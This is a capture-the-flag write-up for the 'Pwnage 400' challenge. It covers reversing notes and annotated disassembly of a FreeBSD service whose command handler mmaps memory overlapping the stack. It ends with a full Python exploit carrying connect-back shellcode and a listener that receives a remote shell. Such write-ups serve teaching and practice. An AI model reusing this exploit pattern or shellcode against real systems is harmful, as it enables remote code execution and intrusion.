During the Quals, 1@stPlace didn't finish Pwnage 400, but we got pretty close.
Basically, one had to reverse engineer the service to discover it's command
actions, and you discovered that you could send recursive instructions,
builing up the stack, and then issue a command that mmaps at the stack
edge, where you could control the values in the function's return address.
Our notes from the reversing:
read(8)
0-4: jump offsets when <8
5-7: generally size param for commands that use it
default, 0,4:
write(out,buf,8);
write(out,buf,strlen(buf))
1: stat
buffer[4-7] > 0x3FF ?
read(buffer[4-7]) into [path]
get stat %d output
2: stat also?... different report
buffer[4-7] > 0x3FF ?
3: how many times to recall parse function
read(4)
call self again that many times
5:
buffer[4-7] > 0x3FF ?
reset crc to 0
read NULL-term string for pwnam
dump int of ptr to pwnam password
6:
buffer[4-7] == 0x4 || content too long
read(4 into xor_value)
getpwuid()
returns 8 bytes, size and 6
returns size bytes, pwnam of uid
7: crc reporter??
buffer[4-7] > 0x1000 ?
mmap @ 0xbfbdf000 for 0x1000 bytes
read(, for buffer[4-7])
>0 size read?
eax = 0/0x0d
0 remainder edx?
xor crc, shifting left 4 every 0xd bytes
It is with great thanks that we present a Pwnage 400 walk-through from
adc of the lollerskaters dropping from roflcopters:
Hi there, i'm adc (aka Loller Von Skater) of the lollerskaterz dropping from rofl copters.
[lolcat@ /usr/home/lolcat/07]$ file pwnage400-b330557d7096bae8c2527f15428e5b11
pwnage400-b330557d7096bae8c2527f15428e5b11: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked (uses shared libs), stripped
[lolcat@ /usr/home/lolcat/07]$ readelf -h ./pwnage400-b330557d7096bae8c2527f15428e5b11 | grep Entry
Entry point address: 0x8048aac
GOGOGOGOGOGOGO
YAY! its stripped. This is an annoyance but not too much of a hassle.
#NOTE: lollerskater tools may be released at a later point in time. They were written not long before the 08 quals.
#During the 07 qualifier the bread and butter was gdb and a pretty popular debugger, you've already heard of.
#Big shout out to nologin.org. libdasm rux.
[lolcat@ /usr/home/lolcat/07]$ python ~/jaurez/getplt.py pwnage400-b330557d7096bae8c2527f15428e5b11
[+] Loaded segment 0x8048000-0x8049ab1
[+] Loaded segment 0x804aab4-0x804ac44
Func plt_waitpid @ 804885c
Func plt_getgid @ 804886c
Func plt_printf @ 804887c
Func plt_geteuid @ 804888c
Func plt_getegid @ 804889c
Func plt_perror @ 80488ac
Func plt_getuid @ 80488bc
Func plt_socket @ 80488cc
Func plt_mmap @ 80488dc
Func plt_send @ 80488ec
Func plt_alarm @ 80488fc
Func plt_accept @ 804890c
Func plt_write @ 804891c
Func plt_bind @ 804892c
Func plt_chdir @ 804893c
Func plt_initgroups @ 804894c
Func plt_setsockopt @ 804895c
Func plt_setgid @ 804896c
Func plt_signal @ 804897c
Func plt_read @ 804898c
Func plt_listen @ 804899c
Func plt_fork @ 80489ac
Func plt_setresuid @ 80489bc
Func plt_memset @ 80489cc
Func plt_err @ 80489dc
Func plt__init_tls @ 80489ec
Func plt_seteuid @ 80489fc
Func plt_getpwuid @ 8048a0c
Func plt_getpwnam @ 8048a1c
Func plt_sprintf @ 8048a2c
Func plt_atexit @ 8048a3c
Func plt_setresgid @ 8048a4c
Func plt_stat @ 8048a5c
Func plt_exit @ 8048a6c
Func plt_setegid @ 8048a7c
Func plt_setuid @ 8048a8c
Func plt_close @ 8048a9c
Pff this is easy for you, there are just enough library functions for the code size, and it's no more than 4k after all the other stuff.
0x8048000-0x8049ab1
The information above is obtained by parsing the PT_DYANMIC phdr entry and looking at Elf32_Rel entries. An alternate
approach (if your binary doesn't confuse objdump too much) is to just do an objdump -R and match Global Offset
Table entries to the Procedure Linkage Table.
Aside:
(read up on the PLT @
x86.org)
Here's an example of using objdump:
[lolcat@ /usr/home/lolcat/07]$ readelf -S pwnage400-b330557d7096bae8c2527f15428e5b11 | grep plt
[ 5] .rel.plt REL 08048710 000710 000128 08 A 3 7 4
[ 7] .plt PROGBITS 0804884c 00084c 000260 04 AX 0 0 4
^------------------this is the plt ^^^^ start right here: 0x804884c
[lolcat@ /usr/home/lolcat/07]$ gdb pwnage400-b330557d7096bae8c2527f15428e5b11
...
(gdb) x/10i 0x804884c
0x804884c <_init+20>: pushl 0x804ab84
0x8048852 <_init+26>: jmp *0x804ab88
0x8048858 <_init+32>: add %al,(%eax)
0x804885a <_init+34>: add %al,(%eax)
0x804885c <_init+36>: jmp *0x804ab8c
...
[lolcat@ /usr/home/lolcat/07]$ objdump -R pwnage400-b330557d7096bae8c2527f15428e5b11 | grep ab8c
0804ab8c R_386_JUMP_SLOT waitpid
Getting started:
]]]]]]]]] Finding Main [[[[[[[[[[[
At the entry point (0x8048aac) we have the standard freebsd start routine:
$ python ~/dump.py -a 0x804aac pwnage400-b330557d7096bae8c2527f15428e5b11
0x08048aac: push %ebp
0x08048aad: mov %esp,%ebp
0x08048aaf: push %edi
0x08048ab0: push %esi
...
<snip: you can learn what the standard routine looks like by building your own main(){} and comparing>
....
0x08048af6: jz 0x8048b36
0x08048af8: sub $0xc,%esp
0x08048afb: push %edi
0x08048afc: call 0x8048a3c ### atexit()
0x08048b01: add $0x10,%esp
0x08048b04: sub $0xc,%esp
0x08048b07: pushl $0x8049884 *** "'\x83\xec\x0c\xe8\xb4\xf2\xff\xff\x83\xc4\x0c\xc3$FreeBSD: src/lib/csu/i386-elf/crti.S,v 1.7 2005/05/19 07:31:06 dfr Exp $'"
0x08048b0c: call 0x8048a3c ### atexit()
0x08048b11: call 0x8048838
0x08048b16: push %eax
0x08048b17: push %esi
0x08048b18: lea 0x8(%ebp),%eax
0x08048b1b: push %eax
0x08048b1c: push %ebx
0x08048b1d: call 0x8049410 <-------- this is where main() gets called, right here
0x08048b22: add $0x14,%esp
0x08048b25: push %eax
0x08048b26: call 0x8048a6c ### exit()
0x08048b2b: nop
0x08048b2c: mov %edx,%ecx
0x08048b2e: mov %edx,0x804aab4
0x08048b34: jmp 0x8048ae9
0x08048b36: call 0x80489ec ### _init_tls()
0x08048b3b: jmp 0x8048b04
0x08048b3d: nop
0x08048b3e: nop
0x08048b3f: nop
main()
--------
0x08049410: push %ebp
0x08049411: mov %esp,%ebp
0x08049413: sub $0x8,%esp
0x08049416: and $0xfffffff0,%esp
0x08049419: sub $0x1c,%esp
0x0804941c: pushl $0x1167 ( this is 4455: matches quals07.allyourboxarebelongto.us:4455 )
0x08049421: call 0x80495b4
The above function can just be glanced at. The only arg(4455) aids in guessing that its a socket setup function.
plt calls:
0x080495e6: call 0x804897c ### signal() ; INTERESTING, signal handler for SIGALARM
0x080495d2: pushl $0x804945c
0x080495d7: pushb $0x14 ; SIGALRM
...
0x080495e6: call 0x804897c ### signal()
0x080495f8: call 0x80488cc ### socket()
0x08049618: call 0x804895c ### setsockopt()
0x08049628: call 0x804892c ### bind()
0x08049639: call 0x804899c ### listen()
0x08049426: add $0x10,%esp
0x08049429: cmp $0xffffffff,%eax
0x0804942c: jz 0x8049440
0x0804942e: sub $0x8,%esp
0x08049431: pushl $0x80493f0 *** "'U\x89\xe5S\x83\xec\x10\x8b]\x08j...."
; above is arg1, looks like code, possibly the address of client_handle() or something to that effect
0x08049436: push %eax ; arg 1 (the socket file descriptor)
0x08049437: call 0x8049684 ; this is probably our wait_for_clients() loop
0x0804943c: xor %eax,%eax
0x0804943e: leave
0x0804943f: ret
And our next hunch is probably right, consider the following plt calls @ 0x8049684:
0x0804969a: call 0x804890c ### accept()
0x080496a9: call 0x80489ac ### fork()
0x080496bb: call 0x8048a9c ### close()
0x080496d1: call 0x8048a9c ### close()
0x080496d9: call 0x8048a6c ### exit()
We quickly look to see how the fork happens and
where that 2nd argument (the function) gets used.
0x08049684: push %ebp
0x08049685: mov %esp,%ebp
...
0x0804969a: call 0x804890c ### accept()
..
0x080496a2: cmp $0xffffffff,%eax
0x080496a5: mov %eax,%esi ; fd from accept()
0x080496a7: jz 0x8049694
0x080496a9: call 0x80489ac ### fork()
...
0x080496b3: test %eax,%eax ; fork will return 0 to the child, -1 on error, and the pid to the parent
0x080496b5: jz 0x80496c5 ; this is the child branch
0x080496b7: sub $0xc,%esp
0x080496ba: push %esi
0x080496bb: call 0x8048a9c ### close() ; okay parent just closes and the loop restarts
..
0x080496c3: jmp 0x8049694
;child branch code
0x080496c5: sub $0xc,%esp
0x080496c8: push %esi ; %esi is the fd from accept(), client socket
0x080496c9: call *0xc(%ebp) ; argument 1 @ 8+%ebp, arg2 @ 12+%ebp :: THIS IS IT
0x080496cc: mov %eax,%ebx
0x080496ce: mov %esi,(%esp)
0x080496d1: call 0x8048a9c ### close()
0x080496d6: mov %ebx,(%esp)
0x080496d9: call 0x8048a6c ### exit() ; bye bye
So this is the setup.
make me a server socket. get me some clients, and have them call this number : 0x80493f0
Onwards, what does the client actually do?
]]]]]]]]] The client handler [[[[[[[[[[[
; MAIN CLIENT HANDLING CODE
0x080493f0: push %ebp
0x080493f1: mov %esp,%ebp
0x080493f3: push %ebx
0x080493f4: sub $0x10,%esp
0x080493f7: mov 0x8(%ebp),%ebx
0x080493fa: pushb $0x5
0x080493fc: call 0x80488fc ### alarm() ; oooh, 5 scary seconds until SIGALARM happen. deadline for our sploit?
0x08049401: mov %ebx,0x8(%ebp)
0x08049404: add $0x10,%esp
0x08049407: mov 0xfffffffc(%ebp),%ebx
0x0804940a: leave
0x0804940b: jmp 0x8048c28
;CODE CONTINUED, BRANCHED
0x08048c28: push %ebp
<snip snip initialize some variables snip snip>
0x08048c73: call 0x80489cc ### memset()
0x08048c78: add $0xc,%esp
0x08048c7b: pushb $0x8
0x08048c7d: lea 0xfffffb80(%ebp),%edi
0x08048c83: push %edi
0x08048c84: pushl 0x8(%ebp)
0x08048c87: call 0x804947c ; Hello little piggy, what do you do?
...
<snip snip>
0x08049494: mov %esi,%edx
0x08049496: sub %ebx,%edx
0x08049498: push %ecx ; extra????
0x08049499: push %edx ; size
0x0804949a: lea (%edi,%ebx),%eax
0x0804949d: push %eax ; buffer
0x0804949e: pushl 0x8(%ebp) ; fd
0x080494a1: call 0x804898c ### read() ; read(int d, void *buf, size_t nbytes);
0x080494a6: add $0x10,%esp
0x080494a9: test %eax,%eax
0x080494ab: jng 0x80494b3
0x080494ad: add %eax,%ebx ; total count += read
0x080494af: cmp %esi,%ebx
0x080494b1: jc 0x8049494 ;; oooh it reads until it fails or meets its requirements
(0x08049485: mov 0x10(%ebp),%esi) : arg 3 is the size
<snip snip>
0x080494b6: mov %ebx,%eax
0x080494b8: pop %ebx
0x080494b9: pop %esi
0x080494ba: pop %edi
0x080494bb: leave
0x080494bc: ret
Looking back at the function's parent:
0x08048c7b: pushb $0x8
The third argument is 8 bytes. So thats how much it reads. 8 bytes = two 32-bit numbers.
0x08048c8c: add $0x10,%esp
0x08048c8f: cmp $0x8,%ea
0x08048c92: jnz 0x8049181 ;
0x08049181: sub $0xc,%esp
0x08049184: pushl $0x804991c *** "'read failed'"
0x08049189: call 0x80488ac ### perror()
0x0804918e: mov $0xffffffff,%eax
0x08049193: jmp 0x8048d03
0x08048c98: mov 0xfffffb80(%ebp),%eax
; what is @ the above offset?
; lets check what our input buffer was to the read_loop()
; -> 0x08048c7d: lea 0xfffffb80(%ebp),%edi
; 0x08048c83: push %edi
; so the first 4 bytes are treated as a little endian integer
0x08048c9e: cmp $0x7,%eax
0x08048ca1: ja 0x8048cac
0x08048cac: mov 0x804aacc,%ebx
0x08048cb2: xor %eax,%eax ; ; %eax cleared, we were out of bounds
0x08048cb4: movl $0x0,0xfffffb04(%ebp)
0x08048cbe: movl $0x4,0xfffffb00(%ebp)
0x08048cc8: cld
0x08048cc9: mov $0xffffffff,%ecx
0x08048cce: mov %ebx,%edi
0x08048cd0: repne scasb
0x08048cd2: push %eax
0x08048cd3: pushb $0x8 ; since our variable has been cleared
0x08048cd5: lea 0xfffffb00(%ebp),%edx ; skip the rest of this for now, check out the alternative
0x08048cdb: push %edx
0x08048cdc: not %ecx
0x08048cde: pushl 0x8(%ebp)
0x08048ce1: mov %ecx,0xfffffb04(%ebp)
0x08048ce7: call 0x804891c ### write()
0x08048cec: add $0xc,%esp
0x08048cef: pushl 0xfffffb04(%ebp)
0x08048cf5: push %ebx
0x08048cf6: pushl 0x8(%ebp)
0x08048cf9: call 0x804891c ### write()
0x08048cfe: add $0x10,%esp
0x08048d01: xor %eax,%eax
0x08048d03: lea 0xfffffff4(%ebp),%esp
0x08048d06: pop %ebx
0x08048d07: pop %esi
0x08048d08: pop %edi
0x08048d09: leave
0x08048d0a: ret
0x08048ca3: jmp *0x8049950(%eax,4) ; a jump table! this is where you say yipee, because the above is just error handling
; you double check the compare to see that its unsigned
; 0x08048ca1: ja 0x8048cac
; and you continue: (wishing that it was a signed comparison, because then you'd be closer to a shell)
(gdb) x/8wx 0x8049950
0x8049950 <_fini+204>: 0x08048cac 0x08048e17 0x08048e9f 0x08048f27
0x8049960 <_fini+220>: 0x08048cac 0x08048f5d 0x0804900f 0x08048d0b
]]]]]]]]] 8 Doors, which ones do you pick? [[[[[[[[[[[
door 0:
0x08048cac -> this was the failure function from before, where %eax was cleared
entry 1:
0x08048e17: mov 0x4(%edi),%eax
HOLD UP, what was %edi?:
0x08048c7d: lea 0xfffffb80(%ebp),%edi
0x08048c83: push %edi
It was the second argument to the first read_loop(), which means its our buffer.
4(%edi) is the other 4 bytes that were read
0x08048e1a: cmp $0x3ff,%eax ; unsigned size check, good to know > 1024 piggies is too many piggies
0x08048e1f: ja 0x80490e5
0x08048e25: push %edx
0x08048e26: push %eax ;arg3 -> size ; we specified this in those last 4 bytes
0x08048e27: push %esi ;arg2 -> buffer
0x08048e28: pushl 0x8(%ebp) ;arg1 -> socket
0x08048e2b: call 0x804947c ; our friend the read_loop gets called on again
0x08048e30: add $0x10,%esp
0x08048e33: cmp 0x4(%edi),%eax ; make sure we got as many gummy bears as were ordered
0x08048e36: jnz 0x8049363 ; or else:
0x08049363: sub $0xc,%esp
0x08049366: pushl $0x8049928 *** "'recv failed'"
0x0804936b: jmp 0x8049189
0x08048e3c: sub $0x8,%esp
0x08048e3f: push %ebx
0x08048e40: push %esi ; input buffer
0x08048e41: call 0x8048a5c ### stat() ;stat(const char *path, struct stat *sb);
0x08048e46: add $0x10,%esp ; so we can check if a file exists
0x08048e49: test %eax,%eax
0x08048e4b: jz 0x804925e
0x08048e51: mov 0x804aac8,%ebx
<snip failure option>, stat returns 0 on success, so this is most likely error handling again
0x08048e9a: jmp 0x8048cf5
0x0804925e: push %ebx
0x0804925f: pushl 0xfffffb8c(%ebp)
0x08049265: pushl $0x8049919 *** "'%d'"
0x0804926a: push %esi
0x0804926b: call 0x8048a2c ### sprintf()
< bla bla bla >
0x08049299: pushb $0x8
0x0804929b: push %ebx
0x0804929c: not %ecx
0x0804929e: pushl 0x8(%ebp)
0x080492a1: mov %ecx,0xfffffb24(%ebp)
0x080492a7: call 0x804891c ### write() ; BZZZZZZZAP , boring door
0x080492ac: add $0xc,%esp ; please call me if you have stat() exploits
0x080492af: pushl 0xfffffb24(%ebp)
0x080492b5: push %esi
0x080492b6: jmp 0x8048cf6
Summary:
The second word for the original 8 bytes is a size argument for how much data to read for a pathname.
A stat() is done and result of interest is printed out w/ sprintf+write
portal 2:
skipped because were both bored, it does another stat(), showing another number
Summary: does a stat() again and gives you the result, as before
hatchway 3: @ 0x08048f27
0x08048f27: push %eax
0x08048f28: pushb $0x4
0x08048f2a: lea 0xfffffb54(%ebp),%esi
0x08048f30: push %esi
0x08048f31: pushl 0x8(%ebp) ; this was that fd
0x08048f34: movl $0x0,0xfffffb54(%ebp) ; var = 0
0x08048f3e: call 0x804947c ; read loop for additional arguments
0x08048f43: xor %ebx,%ebx
0x08048f45: add $0x10,%esp
0x08048f48: cmp $0x4,%eax ; 4 bytes must be read, another 32-bit int
0x08048f4b: mov $0xffffffff,%edx
0x08048f50: jz 0x8049067
0x08049067: cmp 0xfffffb54(%ebp),%ebx ;
0x0804906d: jnl 0x804908e ; counter < input
0x0804906f: sub $0xc,%esp
0x08049072: pushl 0x8(%ebp)
0x08049075: call 0x8048c28 ; ------> this was the main client function
0x0804907a: add $0x10,%esp ; recursion()
0x0804907d: test %eax,%eax ; alright cool so we can call multiple commands w/out reconnecting!
0x0804907f: js 0x8049370 ; oh how many ways can you break, sweet state machine of mine
0x08049085: inc %ebx ; ++ that counter, oh yeah
0x08049086: cmp 0xfffffb54(%ebp),%ebx
0x0804908c: jl 0x804906f ; and we can even loop it. DFS or BFS, with option 0x3: you pick!
0x0804908e: xor %edx,%edx
0x08049090: mov %edx,%eax
0x08049092: jmp 0x8048d03
0x08048f56: mov %edx,%eax
0x08048f58: jmp 0x8048d03
0x08048d03: lea 0xfffffff4(%ebp),%esp
0x08048d06: pop %ebx
0x08048d07: pop %esi
0x08048d08: pop %edi
0x08048d09: leave
0x08048d0a: ret
Summary: allows you to call the client handler code again, recursively, and in an iterative argument loop
Reads another 4 words for the number of times to loop the client handler code
possibility 4 @ 0x08048cac:
this was the fail msg again
opening 5 @ 0x08048f5d:
0x08048f5d: cmpl $0x3ff,0x4(%edi) ; 2nd word must be <= 1024 again
0x08048f64: ja 0x8049198
...
0x080491cd: mov %ecx,0xfffffb64(%ebp)
0x080491d3: call 0x804891c ### write() ; write error
0x080491d8: add $0xc,%esp
0x080491db: pushl 0xfffffb64(%ebp)
0x080491e1: jmp 0x8048cf5
0x08048f6a: movl $0x0,0xfffffb14(%ebp)
0x08048f74: jmp 0x8048f8f
0x08048f8f: mov %esi,%edx
0x08048f91: push %eax
0x08048f92: pushb $0x1
0x08048f94: add 0xfffffb14(%ebp),%edx
0x08048f9a: push %edx
0x08048f9b: pushl 0x8(%ebp)
0x08048f9e: call 0x804898c ### read() ;read() called directly, might be something here but it all checks out
0x08048fa3: add $0x10,%esp
0x08048fa6: test %eax,%eax
0x08048fa8: jg 0x8048f78
0x08048faa: sub $0xc,%esp
0x08048fad: push %esi
0x08048fae: call 0x8048a1c ### getpwnam() ; look up a user id
0x08048fb3: add $0xc,%esp
0x08048fb6: pushl 0x8(%eax)
0x08048fb9: pushl $0x8049919 *** "'%d'"
0x08048fbe: push %esi
0x08048fbf: call 0x8048a2c ### sprintf() ; there ya go
....
0x08048ffb: call 0x804891c ### write() ; have yer user ID
..
0x0804900a: jmp 0x8048cf6
Summary: 2nd word is used a size argument.
The size is used to read a string. This string is given to getpwnam(),
this retrieves a userID
opportunity 6:
0x0804900f
0x0804900f: cmpl $0x4,0x4(%edi)
0x08049013: jz 0x80491e6
0x08049019: mov 0x804aac4,%ebx ; error if arg2 != 0x4
0x0804901f: movl $0x0,0xfffffb1c(%ebp)
<blah blah blah>
0x08049051: pushl 0x8(%ebp)
0x08049054: call 0x804891c ### write()
0x08049059: add $0xc,%esp
0x0804905c: pushl 0xfffffb1c(%ebp)
0x08049062: jmp 0x8048cf5
0x080491e6: push %edx
0x080491e7: pushb $0x4
0x0804920d: call 0x8048a0c ### getpwuid()
0x0804924b: call 0x804891c ### write()
0x08049250: add $0xc,%esp
0x08049253: pushl 0xfffffb0c(%ebp)
0x08049259: jmp 0x8048cf5
Summary:
Provided that the option is 4, this reads in 4 bytes and
lets you have a name from a user id.
and the last option, #7:
0x08048d0b: cmpl $0x1000,0x4(%edi)
0x08048d12: ja 0x8049133
0x08048d18: push %eax
0x08048d19: pushb $0x0
0x08048d1b: pushb $0x0
0x08048d1d: pushb $0xffffffff
0x08048d1f: pushl $0x1010 ;
0x08048d24: pushb $0x3
0x08048d26: pushl $0x1000
0x08048d2b: pushl $0xbfbdf000
0x08048d30: call 0x80488dc ### mmap() ; hello, what do we have here!
; 39766 m CALL mmap(0xbfbdf000,0x1000,PROT_READ|PROT_WRITE,MAP_FIXED|MAP_ANON,0xffffffff,0,0)
; I just peed in my pants. mmaps to the stack. wait, what? yeah youre not supposed to do that
; MAP_FIXED. yeah its for real.
; you can probably guess why by now but we'll talk about it in a second
0x08048d35: add $0x20,%esp
0x08048d38: cmp $0xffffffff,%eax ; bail on failure
0x08048d3b: mov %eax,%edx
0x08048d3d: mov %eax,0x804ac3c
0x08048d42: jz 0x8049318
; <snip> error time, mmap failed
0x08048d48: push %eax
0x08048d49: pushl 0x4(%edi) ; 2nd word of input, this is how many bytes to read
0x08048d4c: push %edx ; arg1 = dest = mmap result
0x08048d4d: pushl 0x8(%ebp) ; arg2 = fd
0x08048d50: call 0x804947c ;recv loop again
0x08048d55: add $0x10,%esp
0x08048d58: cmp 0x4(%edi),%eax
0x08048d5b: jnz 0x8049363 ; again, count all our gummy bears and panic when they go missing
<snip error>
0x08048d61: xor %edi,%edi
0x08048d63: cmp %eax,%edi
.... (theres a little more here, possibly a debug option, but its not required for the exploit)
Summary:
You just hit the jackpot. A suspicious mmap() of a memory region that overlaps with the stack.
Its just above the current stack actually.
You know all the addresses you need already.
The mmap base is where you get to write some stuff. You know yuo can recurse until you're
out of stack space
]]]]]]]] The Exploit [[[[[[[[[[[[[[
It's as easy as
1) grow the stack through and above the mmap overlap region
2) spray over return addresses. follow up with shellcode
3) allow the recursive functions to collapse, eventually hitting the mmap overlap region
#!/usr/bin/python
from socket import *
from struct import pack
from struct import unpack
from time import sleep
import os
HOST = "192.168.211.128"
PORT = 4455
SHELLPORT = 4444
#replace this shellcode with your own
sc = "\x6a\x61\x58\x99\x52\x42\x52\x42\x52\x68\x44\xc6\xb2\x72\xcd\x80\x68"+\
"\x10\x02\x11\x5c\x89\xe1\x6a\x10\x51\x50\x51\x97\x6a\x62\x58\xcd\x80\x6a"+\
"\x02\x59\xb0\x5a\x51\x57\x51\xcd\x80\x49\x79\xf6\x31\xc0\x50\x68\x2f\x2f"+\
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x54\x53\x53\xb0\x3b\xcd\x80"
# The vuln:
# pwnage 400 has been perverted to mmap a page @ 0xBFBDF000
# .... which is not very far from the stack (stack-end @ 0xbfbfffff)
#
#
# A recursive function call via option 0x3 can be used to build frames
# up the stack, overlapping with the mapped region
#
# The exploit
# -> recurse until the mmap buffer overlaps our return address
# -> call the mmap option (0x7), using the opportunity to place shellcode
# and overwrite the return addresses
# -> collapse the main function by sending bad option values
# ...as the functions collapse they will eventually return to our mmap'd region and our specified return
# address (no brute force is necessary)
mmap_base = 0xbfbdf000
def grow_stack():
out = pack("<L", 3)
out += "1234" #initial read() from mainfunc(int fd) takes 8
out += pack("<L", 1) #call mainfunc() once in the opt3 loop
return out
def make_payload():
payload = pack("<L",mmap_base+0x600)*0x100 #return address
payload += "\x9f"* (0x1000- len(payload) - len(sc) - 10 ) #shellcode
payload += sc
payload += "\x9f" * (0x1000 - len(payload))
if len(payload) != 0x1000:
print "you cant add!"
1 / 0
return payload
def exploit():
s = socket()
s.connect ((HOST,PORT))
AMT = 1000 #overkill, reduce this value if the exploit fails (might be Out Of Memory)
for i in range(AMT):
s.send(grow_stack())
print "[+] grew stack (-:"
#overwrite w/ mmap call
s.send( pack("<L",7) + pack("<L",0x1000) )
#send shellcode
s.send( make_payload() )
s.recv(1024)
#let the main()'s collapse
for i in range(AMT):
s.send( pack("<L", 0x1337d00d) ) #send a bad option. this causes the mainfunc() function to return
print "[+] collapsed stack :-)"
if(os.fork() == 0):
exploit()
import sys
sys.exit(0)
s = socket()
s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
s.bind(("",SHELLPORT))
s.listen(1)
conn, addr = s.accept()
print "Connection from",addr
conn.send("uname -a; id\n")
import telnetlib
r = telnetlib.Telnet()
r.sock = conn
r.interact()
Tips for reversing: you're working on a time budget so experience is a big +1. And secondly,
I like to focus on higher level aspects of the code, trying to work out first how bodies interact
before adding up numbers to make sure the code isnt eating itself. Also makes it easier to get to
the bizarre and interesting parts first, thats where the good stuff often is.
Many thanks to beist. He once saved me from a really tall building, filled with bears,
on top of quicksand, covered in an avalanche, 2000 leagues underneath the sea,
under time pressure, while simultaneously finishing luigi's raceway in 13.37 secondz,
and popping lots of shells. and cherries (pac-man)